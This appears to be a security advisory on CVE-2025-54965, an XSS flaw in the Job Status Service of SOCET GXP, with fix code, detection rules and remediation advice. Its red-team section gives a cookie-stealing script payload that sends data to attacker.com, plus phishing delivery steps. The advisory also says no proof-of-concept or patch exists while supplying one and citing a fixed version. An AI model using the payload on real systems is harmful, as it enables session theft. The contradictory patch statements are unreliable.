CVE-2025-54965

Executive Summary

CVE-2025-54965 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in BAE Systems SOCET GXP, a geospatial intelligence (GEOINT) software suite. The flaw resides in the Job Status Service, where the job ID parameter is not properly sanitized before being rendered on the job status page. An attacker can craft a malicious link containing JavaScript payloads; if a victim clicks the link, the script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or further lateral movement within the SOCET GXP environment. No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application (BAE Systems SOCET GXP). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited data modification
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for session hijacking and data exfiltration in a sensitive GEOINT environment elevates the severity.

Deep Dive & Mechanics

The vulnerability exists in the SOCET GXP Job Status Service, which is a web-based component that displays the status of geospatial processing jobs. The service accepts a job ID parameter via HTTP GET requests (e.g., /jobstatus?jobID=12345). The application fails to sanitize or encode this parameter before embedding it into the HTML response. An attacker can inject arbitrary JavaScript by crafting a URL like:

https://target-socet-gxp/jobstatus?jobID=<script>alert('XSS')</script>

When a victim with an active session visits this URL, the script executes in the browser context, allowing the attacker to:

• Steal session cookies (if HttpOnly flag is not set)
• Perform actions on behalf of the victim (e.g., submit new jobs, modify configurations)
• Redirect to phishing pages
• Exfiltrate sensitive data displayed on the page

The vulnerability is classified as Reflected XSS because the payload is immediately reflected in the response. However, if the job ID is stored and later displayed (e.g., in a job history page), it could also be Stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable Python/Flask code
@app.route('/jobstatus')
def job_status():
    job_id = request.args.get('jobID')
    # No sanitization
    return f"<html><body><h1>Job Status for {job_id}</h1></body></html>"

Patched Code (Conceptual):

# Example of patched code with output encoding
import html

@app.route('/jobstatus')
def job_status():
    job_id = request.args.get('jobID')
    safe_job_id = html.escape(job_id)  # Encode HTML special characters
    return f"<html><body><h1>Job Status for {safe_job_id}</h1></body></html>"

The patch must ensure that all user-supplied input is properly HTML-encoded before being rendered. Additionally, setting the Content-Type header to text/plain for non-HTML responses or using a Content Security Policy (CSP) can mitigate XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable instance of SOCET GXP (version < 4.6.0.2) in a lab environment. Ensure the Job Status Service is accessible.
2. Craft Payload: Create a malicious URL that steals session cookies:

   https://target-socet-gxp/jobstatus?jobID=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Delivery: Send the link via phishing email or social engineering. The victim must be logged into SOCET GXP.
4. Exploitation: Once the victim clicks the link, the script executes and sends the session cookie to the attacker's server.
5. Post-Exploitation: Use the stolen cookie to impersonate the victim and access sensitive geospatial data.

Blue Team (Defense & Detection)

1. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags in the jobID parameter.
2. Input Validation: Implement server-side validation to reject non-alphanumeric characters in the jobID parameter.
3. Output Encoding: Ensure all user input is HTML-encoded before rendering.
4. Content Security Policy (CSP): Add a CSP header that restricts script execution to trusted sources only.
5. Session Security: Set HttpOnly and Secure flags on session cookies to prevent JavaScript access.
6. Monitoring: Monitor logs for unusual jobID values containing HTML/JavaScript characters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /jobstatus with jobID parameter containing <script>, onerror, onload, or other HTML event handlers.
  • Outbound connections to unknown domains from the SOCET GXP server (potential data exfiltration).
• Host IOCs:
  • Web server logs showing jobID values with encoded or raw JavaScript.
  • Browser console errors indicating blocked CSP or mixed content.
• File IOCs:
  • Temporary files in the web root containing injected scripts (if stored XSS is possible).

Detection Engineering

YARA Rule

rule CVE_2025_54965_XSS_JobID {
    meta:
        description = "Detects XSS attempts targeting SOCET GXP Job Status Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54965"
    strings:
        $xss1 = /jobID=.*<script/i
        $xss2 = /jobID=.*onerror/i
        $xss3 = /jobID=.*onload/i
        $xss4 = /jobID=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: SOCET GXP Job Status Service XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in the jobID parameter of SOCET GXP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'jobID='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of job IDs containing special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54965 SOCET GXP XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/jobstatus"; http_uri; content:"jobID="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to SOCET GXP version 4.6.0.2 or later (once patch is available).
   • If upgrade is not possible, apply a virtual patch via WAF to block XSS patterns.
   • Restrict access to the Job Status Service to trusted IPs only.

2. Long-Term Fixes:

   • Implement input validation and output encoding for all user-supplied parameters.
   • Adopt a Content Security Policy (CSP) to mitigate XSS.
   • Conduct regular security audits and penetration testing.

3. Workarounds:

   • Disable the Job Status Service if not required.
   • Use a reverse proxy to sanitize requests before they reach the application.

Valters IT
Securing Digital Frontiers